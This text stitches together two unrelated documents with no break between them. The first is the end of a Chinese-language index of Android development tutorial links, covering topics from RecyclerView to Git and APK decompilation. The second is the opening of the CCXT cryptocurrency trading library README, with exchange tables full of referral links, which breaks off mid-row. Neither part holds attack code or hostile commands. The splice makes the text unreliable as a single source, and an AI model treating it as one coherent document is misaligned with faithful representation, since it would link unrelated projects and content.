框架最佳实践](http://blog.csdn.net/lmj623565791/article/details/39122981) 2. [Android ORM框架之 ORMLite](https://www.zybuluo.com/flyouting/note/6996) ### OkHttp 1. [开源项目OkHttpPlus——支持GET、POST、UI线程回调、JSON格式解析、链式调用、文件上传下载](http://blog.csdn.net/zhaokaiqiang1992/article/details/50016815) 2. [Android OkHttp完全解析 是时候来了解OkHttp了](http://blog.csdn.net/lmj623565791/article/details/47911083) --- ## P ### Parcelable 1. [Android中Parcelable接口用法](http://www.cnblogs.com/renqingping/archive/2012/10/25/Parcelable.html) ### PackageManager 1. [Android中获取应用程序(包)的信息-----PackageManager的使用(一)](http://blog.csdn.net/qinjuning/article/details/6867806) 2. [【Android】获取手机中已安装apk文件信息(PackageInfo、ResolveInfo)(应用图片、应用名、包名等)](http://blog.csdn.net/feng88724/article/details/6198446) 3. [Android获取已安装应用信息(图标，名称，版本号，包)](http://www.cnblogs.com/mainroadlee/archive/2011/05/23/android_get_installed_app.html) 4. [关于android 如何安装 assets文件下的apk](http://blog.csdn.net/shen332401890/article/details/8826827) ### Palette 1. [Extracting Colors to a Palette with Android Lollipop](https://www.bignerdranch.com/blog/extracting-colors-to-a-palette-with-android-lollipop/) 2. [Android Lollipop 新特性 - Palette](https://github.com/troyliu0105/Android-Tips/blob/master/Utils/Content/Android_Lollipop_%E6%96%B0%E7%89%B9%E6%80%A7-Palette.md) ### PopupWindow 1. [http://wuxiaolong.me/2015/09/02/SharePopupWindow/](http://wuxiaolong.me/2015/09/02/SharePopupWindow/) ### Preference 1. [PreferenceActivity（首选项设置页）](http://blog.csdn.net/plussoft/article/details/9993759) 2. [Android的设置界面及Preference使用](http://blog.csdn.net/ichliebephone/article/details/5916320) ### Picasso 1. [Picasso官方网站及javadoc](http://square.github.io/picasso/) 2. [Android图片下载缓存库picasso解析](http://blog.csdn.net/xu_fu/article/details/17043231) --- ## R ### React Native 1. [React Native for Android 入门老虎](http://www.race604.com/react-native-for-android-start/) 2. [React Native For Android初体验](http://www.jianshu.com/p/847a54e0c385) 3. [React Native for Android 实践 -- 实现知乎日报客户端](http://www.race604.com/react-native-android-practice/) 4. [React Native Android 踩坑之旅](http://www.alloyteam.com/2015/10/react-native-android-steps-on-tour/) ### Reference 1. [Java的引用StrongReference、 SoftReference、 WeakReference 、PhantomReference](http://blog.csdn.net/mxbhxx/article/details/9111711) 2. [Java 7之基础 - 强引用、弱引用、软引用、虚引用](http://blog.csdn.net/mazhimazh/article/details/19752475) ### RecyclerView 1. [RecyclerView使用详解（一）](http://frank-zhu.github.io/android/2015/01/16/android-recyclerview-part-1/) 2. [Android RecyclerView 使用完全解析 体验艺术般的控件](http://blog.csdn.net/lmj623565791/article/details/45059587) 3. [A Guide to Android RecyclerView and CardView](http://www.binpress.com/tutorial/android-l-recyclerview-and-cardview-tutorial/156) 4. [Android-RecyclerView-Item点击事件设置](http://blog.csdn.net/guxiao1201/article/details/40423361) 5. [Why doesn't RecyclerView have onItemClickListener()? And how RecyclerView is different from Listview?](http://stackoverflow.com/questions/24885223/why-doesnt-recyclerview-have-onitemclicklistener-and-how-recyclerview-is-dif) 6. [Create RecyclerView with multiple view type](http://doublewong.com/2014/create-recyclerview-with-multiple-view-type/) 7. [Simple RecyclerView Divider](https://github.com/troyliu0105/Android-Tips/blob/master/Utils/Content/Simple_RecyclerView_Divider.md) ### Retrofit 1. [我对Retrofit的认识](http://blog.fangjie.info/2016/07/14/%E6%88%91%E5%AF%B9Retrofit%E7%9A%84%E8%AE%A4%E8%AF%86/) ### RxJava 1. [RxJava: Reactive Extensions for the JVM](https://github.com/ReactiveX/RxJava) 2. [给 Android 开发者的 RxJava 详解](http://gank.io/post/560e15be2dca930e00da1083) 3. [NotRxJava懒人专用指南](http://www.devtf.cn/?p=323) 4. [小试RxJava](http://kescoode.com/try-rxjava/) ### RxAndroid 1. [IllegalStateException onError](https://github.com/ReactiveX/RxAndroid/issues/79) ### RandomAccessFile 1. [Java RandomAccessFile用法](http://blog.csdn.net/akon_vm/article/details/7429245) --- ## S ### SearchView 1. [详细解读Android中的搜索框（三）—— SearchView](http://www.cnblogs.com/tianzhijiexian/p/4226675.html) ### Serializable 1. [Android系统中Parcelable和Serializable的区别](http://greenrobot.me/devpost/android-parcelable-serializable/) 2. [Android: Difference between Parcelable and Serializable?](http://stackoverflow.com/questions/3323074/android-difference-between-parcelable-and-serializable) ### Service 1. [Android Service完全解析，关于服务你所需知道的一切(上)](http://blog.csdn.net/guolin_blog/article/details/11952435) 2. [ExecutorService 的理解与使用](http://blog.csdn.net/bairrfhoinn/article/details/16848785) 3. [Android基本功：IntentService的使用](http://blog.csdn.net/p106786860/article/details/17885115) 4. [Android基础笔记（十一）- Service基础和注意事项以及Activity与Service的通信](http://blog.csdn.net/biezhihua/article/details/44281029) ### SharedPreference 1. [Android SharedPreferences使用以及原理详解](http://blog.csdn.net/wxyyxc1992/article/details/17222841) 2. [Google为何这样设计OnSharedPreferenceChangeListener](http://droidyue.com/blog/2014/11/29/why-onsharedpreferencechangelistener-was-not-called/) 3. [SharedPreferences在多进程中的使用及注意事项](http://zmywly8866.github.io/2015/09/09/sharedpreferences-in-multiprocess.html) 4. [What's the difference between commit() and apply() in Shared Preference](http://stackoverflow.com/questions/5960678/whats-the-difference-between-commit-and-apply-in-shared-preference) ### SparseArray 1. [Android应用性能优化之使用SparseArray替代HashMap](http://liuzhichao.com/p/832.html) 2. [Android SparseArray](http://lmbj.net/blog/android-sparsearray/) 3. [Android性能优化之使用SparseArray代替HashMap](http://stormzhang.com/android/2013/08/01/android-use-sparsearray-for-performance-optimization/) 4. [HashMap的实现与优化](http://www.jianshu.com/p/e54047b2b563) ### SQLite 1. [Android中SQLite应用详解](http://blog.csdn.net/liuhe688/article/details/6715983) 2. [ANDROID开发之SQLite详解](http://www.cnblogs.com/Excellent/archive/2011/11/19/2254888.html) 3. [使用嵌入式关系型SQLite数据库存储数据](http://justsee.iteye.com/blog/932591) 4. [Android将数据库保存到SD卡的实现](http://zmywly8866.github.io/2015/03/09/android-save-database-in-sdcard.html) ### Support Library 1. [Android Support兼容包详解](http://stormzhang.com/android/2015/03/29/android-support-library/) 2. [Android各个Support Library介绍](http://zmywly8866.github.io/2015/10/09/android-support-library.html) 3. [Android Support Library 23.1的变化](http://www.jcodecraeer.com/a/anzhuokaifa/androidkaifa/2015/1025/3622.html) ### SwipeRefreshLayout 1. [Android SwipeRefreshLayout](http://www.stormzhang.com/android/2014/03/29/android-swiperefreshlayout/) 2. [下拉刷新之 swipeRefreshLayout](http://blog.csdn.net/xinjianwuhen1991/article/details/49914343) --- ## T ### Textview 1. [Remove underline from links in TextView](http://stackoverflow.com/questions/4096851/remove-underline-from-links-in-textview-android) 2. [What is the default text size on Android?](http://stackoverflow.com/questions/5611411/what-is-the-default-text-size-on-android) 3. [Which unit of measurement does the Paint.setTextSize(float) use?](http://stackoverflow.com/questions/11720093/which-unit-of-measurement-does-the-paint-settextsizefloat-use) 4. [How to set unit for Paint.setTextSize()](http://stackoverflow.com/questions/3061930/how-to-set-unit-for-paint-settextsize) 5. [Android Center text on canvas](http://stackoverflow.com/questions/11120392/android-center-text-on-canvas) ### TouchEvent 1. [两分钟彻底让你明白Android中onInterceptTouchEvent与onTouchEvent(图文)!](http://blog.csdn.net/android_tutor/article/details/7193090) 2. [MotionEvent事件在onInterceptTouchEvent()、onTouchEvent()中的传递顺序](http://www.cnblogs.com/rocky_yi/archive/2011/01/21/1941522.html#) 3. [Android Deeper(00) - Touch事件分发响应机制](http://hukai.me/android-deeper-touch-event-dispatch-process/) ### Thread 1. [ThreadPoolExecutor运转机制详解](http://blog.csdn.net/cutesource/article/details/6061229) 2. [ThreadPoolExecutor使用和思考(上)-线程池大小设置与BlockingQueue的三种实现区别](http://dongxuan.iteye.com/blog/901689) 3. [Java并发编程：Callable、Future和FutureTask](http://www.cnblogs.com/dolphin0520/p/3949310.html) 4. [Java 7之多线程线程池 - Callable和Future](http://blog.csdn.net/mazhimazh/article/details/19291965) 5. [Java 7之多线程线程池 - 线程池原理（1)](http://blog.csdn.net/mazhimazh/article/details/19243889) 6. [Android线程间交互（Java synchronized & Android Handler）](http://www.juwends.com/tech/android/android-inter-thread-comm.html) 7. [Android--多线程之Handler](http://www.cnblogs.com/plokmju/p/android_handler.html) 8. [Java(Android)中线程池的使用](http://landerlyoung.github.io/blog/2014/09/23/javazhong-xian-cheng-chi-de-shi-yong/) 9. [Java(Android)线程池](http://www.trinea.cn/android/java-android-thread-pool/) --- ## U ### Unit Test 1. [Android单元测试](http://www.cnblogs.com/tianzhijiexian/p/4296055.html) 2. [Don’t Test Blindly: The Right Methods for Unit Testing Your Java Apps](http://zeroturnaround.com/rebellabs/dont-test-blindly-the-right-methods-for-unit-testing-your-java-apps/) 3. [在Android Studio中进行单元测试和UI测试](http://www.jianshu.com/p/03118c11c199) ### URL Routing - 路由协议 1. [Android路由框架设计与实现](http://www.sixwolf.net/blog/2016/03/23/Android%E8%B7%AF%E7%94%B1%E6%A1%86%E6%9E%B6%E8%AE%BE%E8%AE%A1/) 2. [UrlRouter路由框架的设计](http://zhengxiaoyong.me/2016/04/24/UrlRouter%E8%B7%AF%E7%94%B1%E6%A1%86%E6%9E%B6%E7%9A%84%E8%AE%BE%E8%AE%A1/) 3. [需要给activity跳转增加路由么？](https://github.com/android-cn/android-discuss/issues/383) 4. [通过 URL 打开 Activity](http://caodongping.me/2016/04/11/%E9%80%9A%E8%BF%87URL%E6%89%93%E5%BC%80Activity/#more) --- ## V ### ViewPager 1. [Android ViewPager使用详解](http://blog.csdn.net/wangjinyu501/article/details/8169924) 2. [ViewPager + Fragment实现滑动标签页](http://blog.csdn.net/lizhenmingdirk/article/details/13631813) 3. [【移动开发】Android中Fragment+ViewPager的配合使用](http://smallwoniu.blog.51cto.com/3911954/1322746) 4. [Android 手把手教您自定义ViewGroup（一）本文出自:【张鸿洋的博客】](http://blog.csdn.net/lmj623565791/article/details/38339817) 5. [Android的坑之ScrollView嵌套ViewPager](http://hellsam.com/2015/01/29/Android%E7%9A%84%E5%9D%91%E4%B9%8BScrollView%E5%B5%8C%E5%A5%97ViewPager/) 6. [IllegalStateException: The application's PagerAdapter changed the adapter's content without calling PagerAdapter#notifyDataSetChanged](http://stackoverflow.com/questions/22943658/illegalstateexception-the-applications-pageradapter-changed-the-adapters-cont) ### View 1. [Android LayoutInflater原理分析，带你一步步深入了解View(一)](http://blog.csdn.net/guolin_blog/article/details/12921889) 2. [Android中View绘制流程以及invalidate()等相关方法分析](http://blog.csdn.net/qinjuning/article/details/7110211) 3. [Android中measure过程、WRAP_CONTENT详解以及xml布局文件解析流程浅析(上)](http://blog.csdn.net/qinjuning/article/details/8051811) 4. [Android开发：LayoutParams的用法](http://www.cnblogs.com/shaweng/archive/2012/07/10/2585134.html) 5. [Saving Android View state correctly](http://trickyandroid.com/saving-android-view-state-correctly/) ### ViewFlipper 1. [Android ViewFlipper的使用分析](http://www.cnblogs.com/PengLee/p/4156302.html) 2. [Android 滑动效果入门篇（一）—— ViewFlipper](http://blog.csdn.net/ithomer/article/details/7420567) ### VideoView 1. [Android--使用VideoView播放视频](http://www.cnblogs.com/plokmju/p/android_videoview.html) 2. [Playing a video in VideoView in Android](http://stackoverflow.com/questions/3263736/playing-a-video-in-videoview-in-android) 3. [Position Video Inside a VideoView](http://stackoverflow.com/questions/4619563/position-video-inside-a-videoview/4855315#4855315) ### Volley 1. [Android Volley](https://github.com/mcxiaoke/android-volley) 2. [Android Volley完全解析(一)，初识Volley的基本用法](http://blog.csdn.net/guolin_blog/article/details/17482095) 3. [Android库Volley的使用介绍](https://bxbxbai.github.io/2014/09/14/android-working-with-volley/) 4. [网络请求库Volley详解](http://www.jcodecraeer.com/a/anzhuokaifa/androidkaifa/2015/0526/2934.html) 5. [Volley 源码解析](http://www.codekk.com/blogs/detail/54cfab086c4761e5001b2542) 6. [使用okHttp、Volley、Gson快速组装HttpClinet](http://oakzmm.com/2015/07/22/okHttp-Volley-Gson/) --- ## W ### WebView 1. [Java 与 JavaScript 如何进行交互](http://imtangqi.com/2015/03/07/java-and-javascript-interaction/) 2. [Android与js交互实例](http://blog.csdn.net/ithomer/article/details/8737999) 3. [Android中Java和JavaScript交互](http://droidyue.com/blog/2014/09/20/interaction-between-java-and-javascript-in-android/) 4. [顶部带进度条的Webview](http://droidyue.com/blog/2014/07/12/ding-bu-dai-jin-du-tiao-de-webview/) 5. [Android WebView播放视频问题](http://www.stormzhang.com/android/2014/03/23/android-webview-play-video/) 6. [理解WebKit和Chromium: Android 4.4 上的Chromium WebView](http://blog.csdn.net/milado_nju/article/details/17098399) 7. [在WebView中如何让JS与Java安全地互相调用](http://www.pedant.cn/2014/07/04/webview-js-java-interface-research/) 8. [Android WebView的Js对象注入漏洞解决方案](http://blog.csdn.net/leehong2005/article/details/11808557) 9. [Android WebView播放视频问题](http://www.jianshu.com/p/d6d379e3f41d) --- ## Others ### Code Style 1. [Java编程规范](http://www.stormzhang.com/java/2013/07/20/java-coding-standards/) 2. [Android 命名规范 （提高代码可以读性）](http://blog.csdn.net/vipzjyno1/article/details/23542617) 3. [Code Style Guidelines for Contributors](http://source.android.com/source/code-style.html) --- ### Git 1. [Pro Git](http://git-scm.com/book/zh/v1) 2. [GitHub秘籍](http://snowdream86.gitbooks.io/github-cheat-sheet/content/zh/index.html) 3. [git - 简易指南](http://www.bootcss.com/p/git-guide/) 4. [基于Github参与开源项目指南](http://yeungeek.com/2015/07/01/%E5%9F%BA%E4%BA%8EGithub%E5%8F%82%E4%B8%8E%E5%BC%80%E6%BA%90%E9%A1%B9%E7%9B%AE%E6%8C%87%E5%8D%97/) 5. [使用git和github进行协同开发流程](http://livoras.com/post/28) 6. [如何高效利用GitHub](http://www.yangzhiping.com/tech/github.html#q1) 7. [廖雪峰的GIT入门教程](http://www.liaoxuefeng.com/wiki/0013739516305929606dd18361248578c67b8067c8c017b000) 8. [GitHub&Git入门基础](http://www.nowcoder.com/courses/2) 9. [git-flow 备忘清单](http://danielkummer.github.io/git-flow-cheatsheet/index.zh_CN.html) --- ### JCenter 1. [Android Studio发布项目到Jcenter](http://blog.saymagic.cn/2015/02/16/release-library-to-jcenter.html) 2. [将Library上传到Jcenter](http://www.jianshu.com/p/0ba8960f80a9) 3. [使用Gradle发布aar项目到JCenter仓库](http://www.cnblogs.com/qianxudetianxia/p/4322331.html) ### JitPack 1. [优雅的发布Android开源库(论JitPack的优越性)](https://github.com/GcsSloop/AndroidNote/blob/master/Course/ReleaseLibraryByJitPack.md) ### 反编译 1. [android_smali语法学习](http://blog.csdn.net/wdaming1986/article/details/8299996) 2. [apk的包名修改](http://www.cnblogs.com/tianxiaozz/archive/2012/12/26/change_apk_package_name.html) 3. [为Sublime Text安装smali代码语法高亮插件](http://liuzhichao.com/p/1476.html) 4. [Android APK反编译详解（附图）](http://blog.csdn.net/ithomer/article/details/6727581) 5. [Android开发学习总结（六）—— APK反编译](http://www.cnblogs.com/xdp-gacl/p/4677145.html) 6. [我是如何使用Android反编译软件的？](http://www.jianshu.com/p/8c24136e0c1f) 7. [Android程序的反编译对抗研究](http://www.freebuf.com/tools/76884.html) --- ### 设计模式 1. [Java开发中的23种设计模式详解](http://zz563143188.iteye.com/blog/1847029) 2. [MVC，MVP 和 MVVM 的图示](http://www.ruanyifeng.com/blog/2015/02/mvcmvp_mvvm.html) 3. [如果让我重新设计一款Android App](http://blog.csdn.net/ahence/article/details/47154419) 4. [一个人如何开发一款 App？](https://www.zhihu.com/question/29020285/answer/66095377?utm_campaign=webshare&utm_source=weibo&utm_medium=zhihu&_t=1445344015624) 5. [Android应用架构 (Android Dev Summit 2015)](http://blog.zhaiyifan.cn/2016/01/29/android-app-architecture-2015/?from=timeline&isappinstalled=0) 6. [Android源码设计模式分析项目](https://github.com/simple-android-framework-exchange/android_design_patterns_analysis) --- ### 夜间模式 1. [Android Night Mode 夜间模式实现](http://echo.vars.me/android/android-night-mode/) 2. [Android夜间模式实现](http://blog.kymjs.com/code/2015/05/26/01/) 3. [Android 中 知乎日报和知乎设置夜间模式是怎么样做到不重启Activity的?](https://www.zhihu.com/question/31145990) --- ### 自定义控件 1. [Android 自定义View及其在布局文件中的使用示例](http://www.cnblogs.com/crashmaker/p/3521310.html) 2. [自定义控件进阶:declare-styleable重用attr](https://github.com/troyliu0105/Android-Tips/blob/master/Utils/Content/declare-styleable_reuse_attr.md) 3. [android 自定义控件 使用declare-styleable进行配置属性（源码角度）](http://blog.csdn.net/vipzjyno1/article/details/23696537) 4. [Android使用AttributeSet自定义控件的方法](http://www.cnblogs.com/zwl12549/archive/2011/04/13/2015366.html) 5. [从源码中浅析Android中如何利用attrs和styles定义控件](http://michaelye1988.iteye.com/blog/1773997) 6. [Android SDK: Creating Custom Views](http://code.tutsplus.com/tutorials/android-sdk-creating-custom-views--mobile-14548) 7. [Creating custom and compound Views in Android - Tutorial](http://www.vogella.com/tutorials/AndroidCustomViews/article.html) 8. [Tutorial: Enhancing Android UI with Custom Views](https://newcircle.com/s/post/1663/tutorial_enhancing_android_ui_with_custom_views_dave_smith_video) 9. [Android 自定义View (一)](http://blog.csdn.net/lmj623565791/article/details/24252901) 10. [What does postInvalidate() do?](http://stackoverflow.com/questions/5521596/what-does-postinvalidate-do) 11. [When it's necessary to execute invalidate() on a View?](http://stackoverflow.com/questions/10647558/when-its-necessary-to-execute-invalidate-on-a-view) 12. [Android笔记：invalidate()和postInvalidate() 的区别及使用](http://blog.csdn.net/mars2639/article/details/6650876) --- ### No category 1. [THE DEX 64K LIMIT IS NOT A PROBLEM ANYMORE, ALMOST](http://www.mutualmobile.com/posts/dex-64k-limit-not-problem-anymore-almost) 2. [Android 4.4从图库选择图片,获取图片路径并裁剪](http://blog.csdn.net/tempersitu/article/details/20557383) 3. [浅析android应用增量升级](http://blog.csdn.net/hmg25/article/details/8100896) 4. [Android四大基本组件介绍与生命周期](http://www.cnblogs.com/bravestarrhu/archive/2012/05/02/2479461.html) 5. [Android代码优化——使用Android lint工具](http://blog.csdn.net/xyz_lmn/article/details/14222939) 6. [Android 插件化 动态升级](http://www.trinea.cn/android/android-plugin/) 7. [Java String StringBuilder StringBuffer](http://www.stormzhang.com/java/2014/08/08/java-string-stringbuilder-stringbuffer/) 8. [tools:context=".MainActivity的作用](http://blog.csdn.net/caiwenfeng_for_23/article/details/8373569) 9. [关于APK瘦身值得分享的一些经验](http://www.jianshu.com/p/bd90dee57ad0) 10. [性能优化之数据库优化](http://www.trinea.cn/android/database-performance/) 11. [How to check visibility of software keyboard in Android?](http://stackoverflow.com/questions/2150078/how-to-check-visibility-of-software-keyboard-in-android) 12. [android 4.4.4侧滑退出显示app启动界面](https://github.com/ikew0ng/SwipeBackLayout/issues/45) ​ 13. [How to get a Color from hexadecimal Color String](http://stackoverflow.com/questions/5248583/how-to-get-a-color-from-hexadecimal-color-string) 14. [【译】Android应用架构](http://www.jianshu.com/p/8ca27934c6e6) 15. [Android静默安装实现方案，仿360手机助手秒装和智能安装功能](http://blog.csdn.net/guolin_blog/article/details/47803149) 16. [How to convert a color integer to a hex String in Android?](http://stackoverflow.com/questions/6539879/how-to-convert-a-color-integer-to-a-hex-string-in-android) 17. [IllegalArgumentException: width and height must be > 0 while loading Bitmap from View](http://stackoverflow.com/questions/17605662/illegalargumentexception-width-and-height-must-be-0-while-loading-bitmap-from) 18. [Unable to instantiate application com.android.tools.fd.runtime.BootstrapApplication ?](http://stackoverflow.com/questions/33967703/unable-to-instantiate-application-com-android-tools-fd-runtime-bootstrapapplicat) 19. [Unknown URL content://downloads/my_downloads](http://blog.csdn.net/mackkill/article/details/52003858) 20. [Android开发之实现多次点击事件](http://blog.csdn.net/fengshizty/article/details/41675923) 21. [Android完美解决输入框EditText隐藏密码打勾显示密码问题](http://blog.csdn.net/a2bgeek/article/details/9705305) 22. [Android获取手机型号,系统版本,App版本号等信息](http://blog.csdn.net/lfdfhl/article/details/9070183) 23. [你需要知道的Android拍照适配方案](http://www.jianshu.com/p/f269bcda335f) 24. [Can't create handler inside thread that has not called Looper.prepare()](http://stackoverflow.com/questions/3875184/cant-create-handler-inside-thread-that-has-not-called-looper-prepare) --- ## Contributors - [troyliu0105](https://github.com/troyliu0105) - [whiskeyfei](https://github.com/whiskeyfei) - [pingfanganwei](https://github.com/pingfanganwei) - [whilu](https://github.com/whilu) - [yy1300326388](https://github.com/yy1300326388) - [ichenkaihua](https://github.com/ichenkaihua) - [wavever](https://github.com/wavever) - [windog](https://github.com/windog) - [Henryzhugithub](https://github.com/Henryzhugithub) - [Dimon94](https://github.com/Dimon94) - [nitta-honoka](https://github.com/nitta-honoka) --- ## Contact Me If you have any questions or want to make friends with me, please feel free to contact me : [imtangqi#gmail.com](mailto:[email protected] "Welcome to contact me")

# CCXT – CryptoCurrency eXchange Trading Library [](https://travis-ci.com/ccxt/ccxt) [](https://npmjs.com/package/ccxt) [](https://pypi.python.org/pypi/ccxt) [](https://www.npmjs.com/package/ccxt) [](https://discord.gg/ccxt) [](https://github.com/ccxt/ccxt/wiki/Exchange-Markets) [](https://twitter.com/ccxt_official) A JavaScript / Python / PHP / C# library for cryptocurrency trading and e-commerce with support for many bitcoin/ether/altcoin exchange markets and merchant APIs. ### [Install](#install) · [Usage](#usage) · [Manual](https://docs.ccxt.com/#/README) · [FAQ](https://github.com/ccxt/ccxt/wiki/FAQ) · [Examples](https://github.com/ccxt/ccxt/tree/master/examples) · [Contributing](https://github.com/ccxt/ccxt/blob/master/CONTRIBUTING.md) · [Social](#social) · [CCXT Pro](https://ccxt.pro) The **CCXT** library is used to connect and trade with cryptocurrency exchanges and payment processing services worldwide. It provides quick access to market data for storage, analysis, visualization, indicator development, algorithmic trading, strategy backtesting, bot programming, and related software engineering. It is intended to be used by **coders, developers, technically-skilled traders, data-scientists and financial analysts** for building trading algorithms. Current feature list: - support for many cryptocurrency exchanges — more coming soon - fully implemented public and private APIs - optional normalized data for cross-exchange analytics and arbitrage - an out of the box unified API that is extremely easy to integrate - works in Node 10.4+, Python 3, PHP 8.1+, netstandard2.0/2.1 and web browsers ## See Also - _{[](https://tab-trader.com/?utm_source=ccxt)} **[TabTrader](https://tab-trader.com/?utm_source=ccxt)** – trading on all exchanges in one app. Available on **[Android](https://play.google.com/store/apps/details?id=com.tabtrader.android&referrer=utm_source%3Dccxt)** and **[iOS](https://itunes.apple.com/app/apple-store/id1095716562?mt=8)**! - _{[](https://www.freqtrade.io)} **[Freqtrade](https://www.freqtrade.io)** – leading opensource cryptocurrency algorithmic trading software! - _{[](https://www.octobot.online)} **[OctoBot](https://www.octobot.online)** – cryptocurrency trading bot with an advanced web interface. - _{[](https://tokenbot.com/?utm_source=github&utm_medium=ccxt&utm_campaign=algodevs)} **[TokenBot](https://tokenbot.com/?utm_source=github&utm_medium=ccxt&utm_campaign=algodevs)** – discover and copy the best algorithmic traders in the world. ## Certified Cryptocurrency Exchanges | logo | id | name | ver | certified | pro | discount | |-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|---------------|---------------------------------------------------------------------------------------------------------|:-----------------------------------------------------------------------------------------------------------------------------:|-----------------------------------------------------------------------------------------------------------------------------|------------------------------------------------------------------------------|:------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------:| | [](https://accounts.binance.com/en/register?ref=D7YA7CLY) | binance | [Binance](https://accounts.binance.com/en/register?ref=D7YA7CLY) | [](https://binance-docs.github.io/apidocs/spot/en) | [](https://github.com/ccxt/ccxt/wiki/Certification) | [](https://ccxt.pro) | [](https://accounts.binance.com/en/register?ref=D7YA7CLY) | | [](https://accounts.binance.com/en/register?ref=D7YA7CLY) | binancecoinm | [Binance COIN-M](https://accounts.binance.com/en/register?ref=D7YA7CLY) | [](https://binance-docs.github.io/apidocs/delivery/en/) | [](https://github.com/ccxt/ccxt/wiki/Certification) | [](https://ccxt.pro) | [](https://accounts.binance.com/en/register?ref=D7YA7CLY) | | [](https://accounts.binance.com/en/register?ref=D7YA7CLY) | binanceusdm | [Binance USDⓈ-M](https://accounts.binance.com/en/register?ref=D7YA7CLY) | [](https://binance-docs.github.io/apidocs/futures/en/) | [](https://github.com/ccxt/ccxt/wiki/Certification) | [](https://ccxt.pro) | [](https://accounts.binance.com/en/register?ref=D7YA7CLY) | | [](https://bingx.com/invite/OHETOM) | bingx | [BingX](https://bingx.com/invite/OHETOM) | [](https://bingx-api.github.io/docs/) | [](https://github.com/ccxt/ccxt/wiki/Certification) | [](https://ccxt.pro) | | | [](https://www.bitget.com/expressly?languageType=0&channelCode=ccxt&vipCode=tg9j) | bitget | [Bitget](https://www.bitget.com/expressly?languageType=0&channelCode=ccxt&vipCode=tg9j) | [](https://bitgetlimited.github.io/apidoc/en/mix) | [](https://github.com/ccxt/ccxt/wiki/Certification) | [](https://ccxt.pro) | | | [](http://www.bitmart.com/?r=rQCFLh) | bitmart | [BitMart](http://www.bitmart.com/?r=rQCFLh) | [](https://developer-pro.bitmart.com/) | [](https://github.com/ccxt/ccxt/wiki/Certification) | [](https://ccxt.pro) | [](http://www.bitmart.com/?r=rQCFLh) | | [](https://www.bitmex.com/register/upZpOX) | bitmex | [BitMEX](https://www.bitmex.com/register/upZpOX) | [](https://www.bitmex.com/app/apiOverview) | [](https://github.com/ccxt/ccxt/wiki/Certification) | [](https://ccxt.pro) | | | [](https://bitvavo.com/?a=24F34952F7) | bitvavo | [Bitvavo](https://bitvavo.com/?a=24F34952F7) | [](https://docs.bitvavo.com/) | [](https://github.com/ccxt/ccxt/wiki/Certification) | [](https://ccxt.pro) | | | [](https://www.bybit.com/register?affiliate_id=35953) | bybit | [Bybit](https://www.bybit.com/register?affiliate_id=35953) | [](https://bybit-exchange.github.io/docs/inverse/) | [](https://github.com/ccxt/ccxt/wiki/Certification) | [](https://ccxt.pro) | | | [](https://crypto.com/exch/5835vstech) | cryptocom | [Crypto.com](https://crypto.com/exch/5835vstech) | [](https://exchange-docs.crypto.com/exchange/v1/rest-ws/index.html) | [](https://github.com/ccxt/ccxt/wiki/Certification) | [](https://ccxt.pro) | | | [](https://www.gate.io/ref/2436035) | gate | [Gate.io](https://www.gate.io/ref/2436035) | [](https://www.gate.io/docs/developers/apiv4/en/) | [](https://github.com/ccxt/ccxt/wiki/Certification) | [](https://ccxt.pro) | [](https://www.gate.io/ref/2436035) | | [](https://www.huobi.com/en-us/v/register/double-invite/?inviter_id=11343840&invite_code=6rmm2223) | huobi | [Huobi](https://www.huobi.com/en-us/v/register/double-invite/?inviter_id=11343840&invite_code=6rmm2223) | [](https://huobiapi.github.io/docs/spot/v1/en/) | [](https://github.com/ccxt/ccxt/wiki/Certification) | [](https://ccxt.pro) | [](https://www.huobi.com/en-us/v/register/double-invite/?inviter_id=11343840&invite_code=6rmm2223) | | [](https://www.kucoin.com/ucenter/signup?rcode=E5wkqe) | kucoin | [KuCoin](https://www.kucoin.com/ucenter/signup?rcode=E5wkqe) | [](https://docs.kucoin.com) | [](https://github.com/ccxt/ccxt/wiki/Certification) | [](https://ccxt.pro) | | | [](https://futures.kucoin.com/?rcode=E5wkqe) | kucoinfutures | [KuCoin Futures](https://futures.kucoin.com/?rcode=E5wkqe) | [](https://docs.kucoin.com/futures) | [](https://github.com/ccxt/ccxt/wiki/Certification) | [](https://ccxt.pro) | | | [](https://m.mexc.com/auth/signup?inviteCode=1FQ1G) | mexc | [MEXC Global](https://m.mexc.com/auth/signup?inviteCode=1FQ1G) | [](https://mxcdevelop.github.io/apidocs/spot_v3_en/) | [](https://github.com/ccxt/ccxt/wiki/Certification) | [](https://ccxt.pro) | | | [](https://www.okx.com/activities/ccxt-trade-and-earn?channelid=CCXT2023) | okx | [OKX](https://www.okx.com/activities/ccxt-trade-and-earn?channelid=CCXT2023) | [](https://www.okx.com/docs-v5/en/) | [](https://github.com/ccxt/ccxt/wiki/Certification) | [](https://ccxt.pro) | [](https://www.okx.com/activities/ccxt-trade-and-earn?channelid=CCXT2023) | | [](https://wx.network) | wavesexchange | [Waves.Exchange](https://wx.network) | [](https://docs.wx.network) | [](https://github.com/ccxt/ccxt/wiki/Certification) | | | | [](https://referral.woo.org/BAJS6oNmZb3vi3RGA) | woo | [WOO X](https://referral.woo.org/BAJS6oNmZb3vi3RGA) | [](https://docs.woo.org/) | [](https://github.com/ccxt/ccxt/wiki/Certification) | [](https://ccxt.pro) | | ## Supported Cryptocurrency Exchange Markets The CCXT library currently supports the following 98 cryptocurrency exchange markets and trading APIs: | logo | id | name | ver | certified | pro | |-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|--------------------|---------------------------------------------------------------------------------------------------------|:--------------------------------------------------------------------------------------------------------------------------------------------------:|-----------------------------------------------------------------------------------------------------------------------------|------------------------------------------------------------------------------| | [](https://ace.io/) | ace | [ACE](https://ace.io/) | [](https://github.com/ace-exchange/ace-offical-api-docs) | | | | [](https://alpaca.markets) | alpaca | [Alpaca](https://alpaca.markets) | [](https://alpaca.markets/docs/) | | [](https://ccxt.pro) | | [](https://ascendex.com/en-us/register?inviteCode=EL6BXBQM) | ascendex | [AscendEX](https://ascendex.com/en-us/register?inviteCode=EL6BXBQM) | [](https://ascendex.github.io/ascendex-pro-api/#ascendex-pro-api-documentation) | | [](https://ccxt.pro) | | [](https://bequant.io) | bequant | [Bequant](https://bequant.io) | [](https://api.bequant.io/) | | [](https://ccxt.pro) | | [](https://b1.run/users/new?code=D3LLBVFT) | bigone | [BigONE](https://b1.run/users/new?code=D3LLBVFT) | [](https://open.big.one/docs/api.html) | | | | [](https://accounts.binance.com/en/register?ref=D7YA7CLY) | binance | 